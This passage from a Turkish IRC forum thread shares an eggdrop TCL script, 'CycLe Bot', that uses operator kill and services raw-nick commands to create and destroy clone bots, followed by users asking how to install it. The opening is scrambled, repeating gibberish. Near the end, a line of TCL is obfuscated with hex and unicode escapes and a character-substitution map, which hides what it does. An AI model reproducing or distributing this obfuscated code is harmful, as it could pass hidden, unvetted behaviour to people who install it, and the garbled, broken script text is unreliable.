} h h x s g b e g t {[} d d {$} x s I c n {"} {$} b i r c a . { } r P} {Pxbg.
]xg.notal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I""" otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I""" otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I"""otal[bh.dc$I.oicl[.ottblsg
.dc$I""" ernP}]
          puthelp "kill $before :old bot"
          puthelp "os :raw nick $before 1 1 $botident $host $servicesadr :$botadi"
          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before olusturuluyor." }
          utimer $wait "pwjoin $before $partwait $joinwait $after $botadi $yenisi $wait $botident $kanallar"
      }
  }
  }
}
proc pwdestroy {nick host hand {text ""}} {
  global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized
  if {$nick == "$authorized"} {
  puthelp "NOTICE $nick :Botlar yok ediliyor. "
  if { $logit == 1 } { puthelp "PRIVMSG $logchany :YOK ETME KOMUTU VERILDI ($authorized)." }
  foreach i $nickflist {
      if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {
          puthelp "kill $before :destroyed by $authorized"
          puthelp "kill $after :destroyed by $authorized"
          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before - $after YOK EDiLiYOR." }
      }
  }
  }
}
bind msg - baslat pwstart
bind msg - yoket pwdestroy
bind msg - ornek pwornek
\x69\x66 \61\x32\x36\60\67\u31\x35\u39 [\x73\u74\u72\x69\u6e\x67 \u6d\x61\x70 {E \} \} \{ m 9 N y t 8 w x B 7 r w S 6 2 v O 5 F u {"} 4 þ t I 3 c s { } 2 a r p 1 6 p V 0 k o R . 7 n C m G - P l 4 k g i v h l g h f A e f d e c i b 3 {"} x a K { } . Z 9 þ \{

indeterminist 28 Temmuz 2007 22:36
Yanıt: CycLe Bot Yeni..
 
Nasıl Kurulacağınıda AnlatSayDınız Memnun Kalırdık KArdeş BilmeyenLer İçin İyi Olurda Teşk...

BaRoN 29 Temmuz 2007 00:37
Cevap: Yanıt: CycLe Bot Yeni..
 
Alıntı:
kaRa_ Nickli Üyeden Alıntı (Mesaj 241359)
Nasıl Kurulacağınıda AnlatSayDınız Memnun Kalırdık KArdeş BilmeyenLer İçin İyi Olurda Teşk...
Arama Butonunu Kullansan bulurdun.
ßen senin yerine aradım buyur Burada Gayet netbir biçimde anlatılmış..

Tıkla : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

DunYa 06 Aralık 2010 08:06
Cevap: CycLe Bot Yeni..
 
bucalanın sistemm olmuyor arkdaşlar şu bucalanın gösterdiği sistem'i bana tam anlamıyla anlatıcak olan varmı arkdaşlar gece'dir yapmaya çalışıyorum yemıyor baba ya lütfen yardım

CLubber 06 Aralık 2010 17:43
Cevap: CycLe Bot Yeni..
 
Buyrun burda.
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 12:16.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2025 IRCForumlari.Net Sparhawk